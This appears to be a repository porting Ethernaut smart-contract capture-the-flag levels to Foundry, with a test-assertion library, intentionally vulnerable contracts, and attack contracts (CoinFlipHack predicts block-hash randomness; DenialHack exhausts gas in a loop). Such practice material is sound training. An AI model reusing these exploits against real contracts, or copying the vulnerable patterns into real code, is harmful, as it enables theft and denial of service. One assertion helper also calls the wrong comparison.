| } 235 | } 236 | function assertGe(int a, int b) internal { 237 | if (a < b) { 238 | emit log("Error: a >= b not satisfied [int]"); 239 | emit log_named_int(" Value a", a); 240 | emit log_named_int(" Value b", b); 241 | fail(); 242 | } 243 | } 244 | function assertGe(int a, int b, string memory err) internal { 245 | if (a < b) { 246 | emit log_named_string("Error", err); 247 | assertGe(a, b); 248 | } 249 | } 250 | function assertGeDecimal(int a, int b, uint decimals) internal { 251 | if (a < b) { 252 | emit log("Error: a >= b not satisfied [decimal int]"); 253 | emit log_named_decimal_int(" Value a", a, decimals); 254 | emit log_named_decimal_int(" Value b", b, decimals); 255 | fail(); 256 | } 257 | } 258 | function assertGeDecimal(int a, int b, uint decimals, string memory err) internal { 259 | if (a < b) { 260 | emit log_named_string("Error", err); 261 | assertGeDecimal(a, b, decimals); 262 | } 263 | } 264 | function assertGeDecimal(uint a, uint b, uint decimals) internal { 265 | if (a < b) { 266 | emit log("Error: a >= b not satisfied [decimal uint]"); 267 | emit log_named_decimal_uint(" Value a", a, decimals); 268 | emit log_named_decimal_uint(" Value b", b, decimals); 269 | fail(); 270 | } 271 | } 272 | function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal { 273 | if (a < b) { 274 | emit log_named_string("Error", err); 275 | assertGeDecimal(a, b, decimals); 276 | } 277 | } 278 | 279 | function assertLt(uint a, uint b) internal { 280 | if (a >= b) { 281 | emit log("Error: a < b not satisfied [uint]"); 282 | emit log_named_uint(" Value a", a); 283 | emit log_named_uint(" Value b", b); 284 | fail(); 285 | } 286 | } 287 | function assertLt(uint a, uint b, string memory err) internal { 288 | if (a >= b) { 289 | emit log_named_string("Error", err); 290 | assertLt(a, b); 291 | } 292 | } 293 | function assertLt(int a, int b) internal { 294 | if (a >= b) { 295 | emit log("Error: a < b not satisfied [int]"); 296 | emit log_named_int(" Value a", a); 297 | emit log_named_int(" Value b", b); 298 | fail(); 299 | } 300 | } 301 | function assertLt(int a, int b, string memory err) internal { 302 | if (a >= b) { 303 | emit log_named_string("Error", err); 304 | assertLt(a, b); 305 | } 306 | } 307 | function assertLtDecimal(int a, int b, uint decimals) internal { 308 | if (a >= b) { 309 | emit log("Error: a < b not satisfied [decimal int]"); 310 | emit log_named_decimal_int(" Value a", a, decimals); 311 | emit log_named_decimal_int(" Value b", b, decimals); 312 | fail(); 313 | } 314 | } 315 | function assertLtDecimal(int a, int b, uint decimals, string memory err) internal { 316 | if (a >= b) { 317 | emit log_named_string("Error", err); 318 | assertLtDecimal(a, b, decimals); 319 | } 320 | } 321 | function assertLtDecimal(uint a, uint b, uint decimals) internal { 322 | if (a >= b) { 323 | emit log("Error: a < b not satisfied [decimal uint]"); 324 | emit log_named_decimal_uint(" Value a", a, decimals); 325 | emit log_named_decimal_uint(" Value b", b, decimals); 326 | fail(); 327 | } 328 | } 329 | function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal { 330 | if (a >= b) { 331 | emit log_named_string("Error", err); 332 | assertLtDecimal(a, b, decimals); 333 | } 334 | } 335 | 336 | function assertLe(uint a, uint b) internal { 337 | if (a > b) { 338 | emit log("Error: a <= b not satisfied [uint]"); 339 | emit log_named_uint(" Value a", a); 340 | emit log_named_uint(" Value b", b); 341 | fail(); 342 | } 343 | } 344 | function assertLe(uint a, uint b, string memory err) internal { 345 | if (a > b) { 346 | emit log_named_string("Error", err); 347 | assertLe(a, b); 348 | } 349 | } 350 | function assertLe(int a, int b) internal { 351 | if (a > b) { 352 | emit log("Error: a <= b not satisfied [int]"); 353 | emit log_named_int(" Value a", a); 354 | emit log_named_int(" Value b", b); 355 | fail(); 356 | } 357 | } 358 | function assertLe(int a, int b, string memory err) internal { 359 | if (a > b) { 360 | emit log_named_string("Error", err); 361 | assertLe(a, b); 362 | } 363 | } 364 | function assertLeDecimal(int a, int b, uint decimals) internal { 365 | if (a > b) { 366 | emit log("Error: a <= b not satisfied [decimal int]"); 367 | emit log_named_decimal_int(" Value a", a, decimals); 368 | emit log_named_decimal_int(" Value b", b, decimals); 369 | fail(); 370 | } 371 | } 372 | function assertLeDecimal(int a, int b, uint decimals, string memory err) internal { 373 | if (a > b) { 374 | emit log_named_string("Error", err); 375 | assertLeDecimal(a, b, decimals); 376 | } 377 | } 378 | function assertLeDecimal(uint a, uint b, uint decimals) internal { 379 | if (a > b) { 380 | emit log("Error: a <= b not satisfied [decimal uint]"); 381 | emit log_named_decimal_uint(" Value a", a, decimals); 382 | emit log_named_decimal_uint(" Value b", b, decimals); 383 | fail(); 384 | } 385 | } 386 | function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal { 387 | if (a > b) { 388 | emit log_named_string("Error", err); 389 | assertGeDecimal(a, b, decimals); 390 | } 391 | } 392 | 393 | function assertEq(string memory a, string memory b) internal { 394 | if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) { 395 | emit log("Error: a == b not satisfied [string]"); 396 | emit log_named_string(" Value a", a); 397 | emit log_named_string(" Value b", b); 398 | fail(); 399 | } 400 | } 401 | function assertEq(string memory a, string memory b, string memory err) internal { 402 | if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) { 403 | emit log_named_string("Error", err); 404 | assertEq(a, b); 405 | } 406 | } 407 | 408 | function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) { 409 | ok = true; 410 | if (a.length == b.length) { 411 | for (uint i = 0; i < a.length; i++) { 412 | if (a[i] != b[i]) { 413 | ok = false; 414 | } 415 | } 416 | } else { 417 | ok = false; 418 | } 419 | } 420 | function assertEq0(bytes memory a, bytes memory b) internal { 421 | if (!checkEq0(a, b)) { 422 | emit log("Error: a == b not satisfied [bytes]"); 423 | emit log_named_bytes(" Expected", a); 424 | emit log_named_bytes(" Actual", b); 425 | fail(); 426 | } 427 | } 428 | function assertEq0(bytes memory a, bytes memory b, string memory err) internal { 429 | if (!checkEq0(a, b)) { 430 | emit log_named_string("Error", err); 431 | assertEq0(a, b); 432 | } 433 | } 434 | } 435 | -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/ds-test/src/ 2 | openzeppelin-contracts/=lib/openzeppelin-contracts/ -------------------------------------------------------------------------------- /src/AlienCodex/AlienCodex.json: -------------------------------------------------------------------------------- 1 | { 2 | "abi": [ 3 | { 4 | "type": "function", 5 | "name": "codex", 6 | "inputs": [ 7 | { 8 | "internalType": "uint256", 9 | "name": "", 10 | "type": "uint256" 11 | } 12 | ], 13 | "outputs": [ 14 | { 15 | "internalType": "bytes32", 16 | "name": "", 17 | "type": "bytes32" 18 | } 19 | ], 20 | "constant": true, 21 | "stateMutability": "view" 22 | }, 23 | { 24 | "type": "function", 25 | "name": "contact", 26 | "inputs": [], 27 | "outputs": [ 28 | { 29 | "internalType": "bool", 30 | "name": "", 31 | "type": "bool" 32 | } 33 | ], 34 | "constant": true, 35 | "stateMutability": "view" 36 | }, 37 | { 38 | "type": "function", 39 | "name": "isOwner", 40 | "inputs": [], 41 | "outputs": [ 42 | { 43 | "internalType": "bool", 44 | "name": "", 45 | "type": "bool" 46 | } 47 | ], 48 | "constant": true, 49 | "stateMutability": "view" 50 | }, 51 | { 52 | "type": "function", 53 | "name": "make_contact", 54 | "inputs": [], 55 | "outputs": [], 56 | "constant": false, 57 | "stateMutability": "nonpayable" 58 | }, 59 | { 60 | "type": "function", 61 | "name": "owner", 62 | "inputs": [], 63 | "outputs": [ 64 | { 65 | "internalType": "address", 66 | "name": "", 67 | "type": "address" 68 | } 69 | ], 70 | "constant": true, 71 | "stateMutability": "view" 72 | }, 73 | { 74 | "type": "function", 75 | "name": "record", 76 | "inputs": [ 77 | { 78 | "internalType": "bytes32", 79 | "name": "_content", 80 | "type": "bytes32" 81 | } 82 | ], 83 | "outputs": [], 84 | "constant": false, 85 | "stateMutability": "nonpayable" 86 | }, 87 | { 88 | "type": "function", 89 | "name": "renounceOwnership", 90 | "inputs": [], 91 | "outputs": [], 92 | "constant": false, 93 | "stateMutability": "nonpayable" 94 | }, 95 | { 96 | "type": "function", 97 | "name": "retract", 98 | "inputs": [], 99 | "outputs": [], 100 | "constant": false, 101 | "stateMutability": "nonpayable" 102 | }, 103 | { 104 | "type": "function", 105 | "name": "revise", 106 | "inputs": [ 107 | { 108 | "internalType": "uint256", 109 | "name": "i", 110 | "type": "uint256" 111 | }, 112 | { 113 | "internalType": "bytes32", 114 | "name": "_content", 115 | "type": "bytes32" 116 | } 117 | ], 118 | "outputs": [], 119 | "constant": false, 120 | "stateMutability": "nonpayable" 121 | }, 122 | { 123 | "type": "function", 124 | "name": "transferOwnership", 125 | "inputs": [ 126 | { 127 | "internalType": "address", 128 | "name": "newOwner", 129 | "type": "address" 130 | } 131 | ], 132 | "outputs": [], 133 | "constant": false, 134 | "stateMutability": "nonpayable" 135 | }, 136 | { 137 | "type": "event", 138 | "name": "OwnershipTransferred", 139 | "inputs": [ 140 | { 141 | "name": "previousOwner", 142 | "type": "address", 143 | "indexed": true 144 | }, 145 | { 146 | "name": "newOwner", 147 | "type": "address", 148 | "indexed": true 149 | } 150 | ], 151 | "anonymous": false 152 | } 153 | ], 154 | "bytecode": { 155 | "object": "0x6080604052600080546001600160a01b031916331790556104e1806100256000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146100fc5780638f32d59b1461012057806394bd756914610128578063b5c645bd14610157578063f2fde38b146101745761009e565b80630339f300146100a357806333a8c45a146100c857806347f57b32146100e457806358699c55146100ec578063715018a6146100f4575b600080fd5b6100c6600480360360408110156100b957600080fd5b508035906020013561019a565b005b6100d06101cb565b604080519115158252519081900360200190f35b6100c66101db565b6100c6610204565b6100c6610219565b6101046102bc565b604080516001600160a01b039092168252519081900360200190f35b6100d06102cc565b6101456004803603602081101561013e57600080fd5b50356102dd565b60408051918252519081900360200190f35b6100c66004803603602081101561016d57600080fd5b50356102fb565b6100c66004803603602081101561018a57600080fd5b50356001600160a01b0316610342565b600054600160a01b900460ff166101ad57fe5b80600183815481106101bb57fe5b6000918252602090912001555050565b600054600160a01b900460ff1681565b600054600160a01b900460ff166101ee57fe5b600180549061020190600019830161043f565b50565b6000805460ff60a01b1916600160a01b179055565b6102216102cc565b610272576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b600181815481106102ea57fe5b600091825260209091200154905081565b600054600160a01b900460ff1661030e57fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b61034a6102cc565b61039b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610201816001600160a01b0381166103e45760405162461bcd60e51b81526004018080602001828103825260268152602001806104876026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b81548183558181111561046357600083815260209020610463918101908301610468565b505050565b6102c991905b80821115610482576000815560010161046e565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820832223b82fb54b9cc6a33b74a50e8277e88d31349d4b61c640c2422d3fb4f6bd64736f6c63430005110032", 156 | "sourceMap": "85:447:0:-;;;657:6:3;:19;;-1:-1:-1;;;;;;657:19:3;666:10;657:19;;;-1:-1:-1;;;;85:447:0;;;;", 157 | "linkReferences": {} 158 | }, 159 | "deployed_bytecode": { 160 | "object": "0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146100fc5780638f32d59b1461012057806394bd756914610128578063b5c645bd14610157578063f2fde38b146101745761009e565b80630339f300146100a357806333a8c45a146100c857806347f57b32146100e457806358699c55146100ec578063715018a6146100f4575b600080fd5b6100c6600480360360408110156100b957600080fd5b508035906020013561019a565b005b6100d06101cb565b604080519115158252519081900360200190f35b6100c66101db565b6100c6610204565b6100c6610219565b6101046102bc565b604080516001600160a01b039092168252519081900360200190f35b6100d06102cc565b6101456004803603602081101561013e57600080fd5b50356102dd565b60408051918252519081900360200190f35b6100c66004803603602081101561016d57600080fd5b50356102fb565b6100c66004803603602081101561018a57600080fd5b50356001600160a01b0316610342565b600054600160a01b900460ff166101ad57fe5b80600183815481106101bb57fe5b6000918252602090912001555050565b600054600160a01b900460ff1681565b600054600160a01b900460ff166101ee57fe5b600180549061020190600019830161043f565b50565b6000805460ff60a01b1916600160a01b179055565b6102216102cc565b610272576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b600181815481106102ea57fe5b600091825260209091200154905081565b600054600160a01b900460ff1661030e57fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b61034a6102cc565b61039b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610201816001600160a01b0381166103e45760405162461bcd60e51b81526004018080602001828103825260268152602001806104876026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b81548183558181111561046357600083815260209020610463918101908301610468565b505050565b6102c991905b80821115610482576000815560010161046e565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820832223b82fb54b9cc6a33b74a50e8277e88d31349d4b61c640c2422d3fb4f6bd64736f6c63430005110032", 161 | "sourceMap": "85:447:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;85:447:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;441:89;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;441:89:0;;;;;;;:::i;:::-;;121:19;;;:::i;:::-;;;;;;;;;;;;;;;;;;376:61;;;:::i;231:56::-;;;:::i;1544:137:3:-;;;:::i;759:77::-;;;:::i;:::-;;;;-1:-1:-1;;;;;759:77:3;;;;;;;;;;;;;;1110:90;;;:::i;144:22:0:-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;144:22:0;;:::i;:::-;;;;;;;;;;;;;;;;291:81;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;291:81:0;;:::i;1830:107:3:-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1830:107:3;-1:-1:-1;;;;;1830:107:3;;:::i;441:89:0:-;205:7;;-1:-1:-1;;;205:7:0;;;;198:15;;;;517:8;506:5;512:1;506:8;;;;;;;;;;;;;;;;;:19;-1:-1:-1;;441:89:0:o;121:19::-;;;-1:-1:-1;;;121:19:0;;;;;:::o;376:61::-;205:7;;-1:-1:-1;;;205:7:0;;;;198:15;;;;418:5;:14;;;;;-1:-1:-1;;418:14:0;;;:::i;:::-;;376:61::o;231:56::-;268:7;:14;;-1:-1:-1;;;;268:14:0;-1:-1:-1;;;268:14:0;;;231:56::o;1544:137:3:-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1642:1;1626:6;;1605:40;;-1:-1:-1;;;;;1626:6:3;;;;1605:40;;1642:1;;1605:40;1672:1;1655:19;;-1:-1:-1;;;;;;1655:19:3;;;1544:137::o;759:77::-;797:7;823:6;-1:-1:-1;;;;;823:6:3;759:77;;:::o;1110:90::-;1150:4;1187:6;-1:-1:-1;;;;;1187:6:3;1173:10;:20;;1110:90::o;144:22:0:-;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;144:22:0;:::o;291:81::-;205:7;;-1:-1:-1;;;205:7:0;;;;198:15;;;;347:5;27:10:-1;;23:18;;;45:23;;-1:-1;347:20:0;;;;;;;291:81::o;1830:107:3:-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1902:28;1921:8;-1:-1:-1;;;;;2111:22:3;;2103:73;;;;-1:-1:-1;;;2103:73:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2212:6;;;2191:38;;-1:-1:-1;;;;;2191:38:3;;;;2212:6;;;2191:38;;;2239:6;:17;;-1:-1:-1;;;;;;2239:17:3;-1:-1:-1;;;;;2239:17:3;;;;;;;;;;2038:225::o;85:447:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;", 162 | "linkReferences": {} 163 | } 164 | } -------------------------------------------------------------------------------- /src/AlienCodex/AlienCodex.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.5.0; 3 | 4 | import './Ownable-05.sol'; 5 | 6 | contract AlienCodex is Ownable { 7 | 8 | bool public contact; 9 | bytes32[] public codex; 10 | 11 | modifier contacted() { 12 | assert(contact); 13 | _; 14 | } 15 | 16 | function make_contact() public { 17 | contact = true; 18 | } 19 | 20 | function record(bytes32 _content) contacted public { 21 | codex.push(_content); 22 | } 23 | 24 | function retract() contacted public { 25 | codex.length--; 26 | } 27 | 28 | function revise(uint i, bytes32 _content) contacted public { 29 | codex[i] = _content; 30 | } 31 | } -------------------------------------------------------------------------------- /src/AlienCodex/Ownable-05.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | /** 4 | * @dev Contract module which provides a basic access control mechanism, where 5 | * there is an account (an owner) that can be granted exclusive access to 6 | * specific functions. 7 | * 8 | * This module is used through inheritance. It will make available the modifier 9 | * `onlyOwner`, which can be aplied to your functions to restrict their use to 10 | * the owner. 11 | */ 12 | contract Ownable { 13 | address private _owner; 14 | 15 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 16 | 17 | /** 18 | * @dev Initializes the contract setting the deployer as the initial owner. 19 | */ 20 | constructor () internal { 21 | _owner = msg.sender; 22 | } 23 | 24 | /** 25 | * @dev Returns the address of the current owner. 26 | */ 27 | function owner() public view returns (address) { 28 | return _owner; 29 | } 30 | 31 | /** 32 | * @dev Throws if called by any account other than the owner. 33 | */ 34 | modifier onlyOwner() { 35 | require(isOwner(), "Ownable: caller is not the owner"); 36 | _; 37 | } 38 | 39 | /** 40 | * @dev Returns true if the caller is the current owner. 41 | */ 42 | function isOwner() public view returns (bool) { 43 | return msg.sender == _owner; 44 | } 45 | 46 | /** 47 | * @dev Leaves the contract without owner. It will not be possible to call 48 | * `onlyOwner` functions anymore. Can only be called by the current owner. 49 | * 50 | * > Note: Renouncing ownership will leave the contract without an owner, 51 | * thereby removing any functionality that is only available to the owner. 52 | */ 53 | function renounceOwnership() public onlyOwner { 54 | emit OwnershipTransferred(_owner, address(0)); 55 | _owner = address(0); 56 | } 57 | 58 | /** 59 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 60 | * Can only be called by the current owner. 61 | */ 62 | function transferOwnership(address newOwner) public onlyOwner { 63 | _transferOwnership(newOwner); 64 | } 65 | 66 | /** 67 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /src/AlienCodex/README.md: -------------------------------------------------------------------------------- 1 | # 19. AlienCodex 2 | 3 | **NOTE** - This level is only compatible with solidity 0.5.0, the build .json file is included as it is required to deploy the contract when testing 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272 8 | 9 | ## Walkthrough 10 | 11 | https://listed.to/@r1oga/13892/ethernaut-levels-19-to-21#AlienCodex 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract AlienCodexTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/AlienCodex.png?raw=true) -------------------------------------------------------------------------------- /src/BaseLevel.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import 'openzeppelin-contracts/contracts/access/Ownable.sol'; 6 | 7 | abstract contract Level is Ownable { 8 | function createInstance(address _player) virtual public payable returns (address); 9 | function validateInstance(address payable _instance, address _player) virtual public returns (bool); 10 | } -------------------------------------------------------------------------------- /src/CoinFlip/CoinFlip.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; // Latest solidity version 3 | 4 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 5 | 6 | contract CoinFlip { 7 | 8 | using SafeMath for uint256; 9 | uint256 public consecutiveWins; 10 | uint256 lastHash; 11 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 12 | 13 | constructor() public { 14 | consecutiveWins = 0; 15 | } 16 | 17 | function flip(bool _guess) public returns (bool) { 18 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 19 | 20 | if (lastHash == blockValue) { 21 | revert(); 22 | } 23 | 24 | lastHash = blockValue; 25 | uint256 coinFlip = blockValue.div(FACTOR); 26 | bool side = coinFlip == 1 ? true : false; 27 | 28 | if (side == _guess) { 29 | consecutiveWins++; 30 | return true; 31 | } else { 32 | consecutiveWins = 0; 33 | return false; 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /src/CoinFlip/CoinFlipFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './CoinFlip.sol'; 7 | 8 | contract CoinFlipFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | return address(new CoinFlip()); 13 | } 14 | 15 | function validateInstance(address payable _instance, address) override public returns (bool) { 16 | CoinFlip instance = CoinFlip(_instance); 17 | return instance.consecutiveWins() >= 10; 18 | } 19 | } -------------------------------------------------------------------------------- /src/CoinFlip/CoinFlipHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | interface ICoinFlipChallenge { 5 | function flip(bool _guess) external returns (bool); 6 | } 7 | 8 | contract CoinFlipHack { 9 | ICoinFlipChallenge public challenge; 10 | 11 | constructor(address challengeAddress) { 12 | challenge = ICoinFlipChallenge(challengeAddress); 13 | } 14 | 15 | function attack() external payable { 16 | // simulate the same what the challenge contract does 17 | uint256 blockValue = uint256(blockhash(block.number - 1)); 18 | uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968; 19 | bool side = coinFlip == 1 ? true : false; 20 | 21 | // call challenge contract with same guess 22 | challenge.flip(side); 23 | } 24 | 25 | fallback() external payable {} 26 | } -------------------------------------------------------------------------------- /src/CoinFlip/README.md: -------------------------------------------------------------------------------- 1 | # 3. CoinFlip 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@nicolezhu/ethernaut-lvl-3-walkthrough-how-to-abuse-psuedo-randomness-in-smart-contracts-4cc06bb82570 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract CoinFlipTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/CoinFlip.png?raw=true) -------------------------------------------------------------------------------- /src/Delegation/Delegation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Delegate { 6 | 7 | address public owner; 8 | 9 | constructor(address _owner) public { 10 | owner = _owner; 11 | } 12 | 13 | function pwn() public { 14 | owner = msg.sender; 15 | } 16 | } 17 | 18 | contract Delegation { 19 | 20 | address public owner; 21 | Delegate delegate; 22 | 23 | constructor(address _delegateAddress) public { 24 | delegate = Delegate(_delegateAddress); 25 | owner = msg.sender; 26 | } 27 | 28 | fallback() external { 29 | (bool result,) = address(delegate).delegatecall(msg.data); 30 | if (result) { 31 | this; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /src/Delegation/DelegationFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Delegation.sol'; 7 | 8 | contract DelegationFactory is Level { 9 | 10 | address delegateAddress; 11 | 12 | constructor() public { 13 | Delegate newDelegate = new Delegate(address(0)); 14 | delegateAddress = address(newDelegate); 15 | } 16 | 17 | function createInstance(address _player) override public payable returns (address) { 18 | _player; 19 | Delegation parity = new Delegation(delegateAddress); 20 | return address(parity); 21 | } 22 | 23 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 24 | Delegation parity = Delegation(_instance); 25 | return parity.owner() == _player; 26 | } 27 | } -------------------------------------------------------------------------------- /src/Delegation/README.md: -------------------------------------------------------------------------------- 1 | # 6. Delegation 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x9451961b7Aea1Df57bc20CC68D72f662241b5493 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-6-walkthrough-how-to-abuse-the-delicate-delegatecall-466b26c429e4 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract DelegationTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Delegation.png?raw=true) -------------------------------------------------------------------------------- /src/Denial/Denial.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; 5 | 6 | contract Denial { 7 | 8 | using SafeMath for uint256; 9 | address public partner; // withdrawal partner - pay the gas, split the withdraw 10 | // Foundry: wrapped address in "payable" to avoid error 11 | address payable public constant owner = payable(address(0xA9E)); 12 | uint timeLastWithdrawn; 13 | mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances 14 | 15 | function setWithdrawPartner(address _partner) public { 16 | partner = _partner; 17 | } 18 | 19 | // withdraw 1% to recipient and 1% to owner 20 | function withdraw() public { 21 | uint amountToSend = address(this).balance.div(100); 22 | // perform a call without checking return 23 | // The recipient can revert, the owner will still get their share 24 | partner.call{value:amountToSend}(""); 25 | owner.transfer(amountToSend); 26 | // keep track of last withdrawal time 27 | // Foundry: changed from "now" as it is deprecated 28 | timeLastWithdrawn = block.timestamp; 29 | withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); 30 | } 31 | 32 | // allow deposit of funds 33 | receive() external payable {} 34 | 35 | // convenience function 36 | function contractBalance() public view returns (uint) { 37 | return address(this).balance; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/Denial/DenialFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Denial.sol'; 7 | 8 | contract DenialFactory is Level { 9 | 10 | uint public initialDeposit = 0.001 ether; 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | _player; 14 | require(msg.value >= initialDeposit); 15 | Denial instance = new Denial(); 16 | (bool result,) = address(instance).call{value:msg.value}(""); 17 | require(result); 18 | return address(instance); 19 | } 20 | 21 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 22 | _player; 23 | Denial instance = Denial(_instance); 24 | if (address(instance).balance <= 100 wei) { // cheating otherwise 25 | return false; 26 | } 27 | // fix the gas limit for this call 28 | (bool result,) = address(instance).call{gas:1000000}(abi.encodeWithSignature("withdraw()")); // Must revert 29 | return !result; 30 | } 31 | 32 | receive() external payable {} 33 | 34 | } 35 | -------------------------------------------------------------------------------- /src/Denial/DenialHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract waste {} 5 | 6 | contract DenialHack { 7 | fallback() external payable { 8 | // waste all the gas in the call by using CREATE opcode in a loop (~32k per iteration). 9 | while(true) { 10 | new waste(); 11 | } 12 | } 13 | } 14 | 15 | -------------------------------------------------------------------------------- /src/Denial/README.md: -------------------------------------------------------------------------------- 1 | # 20. Denial 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | 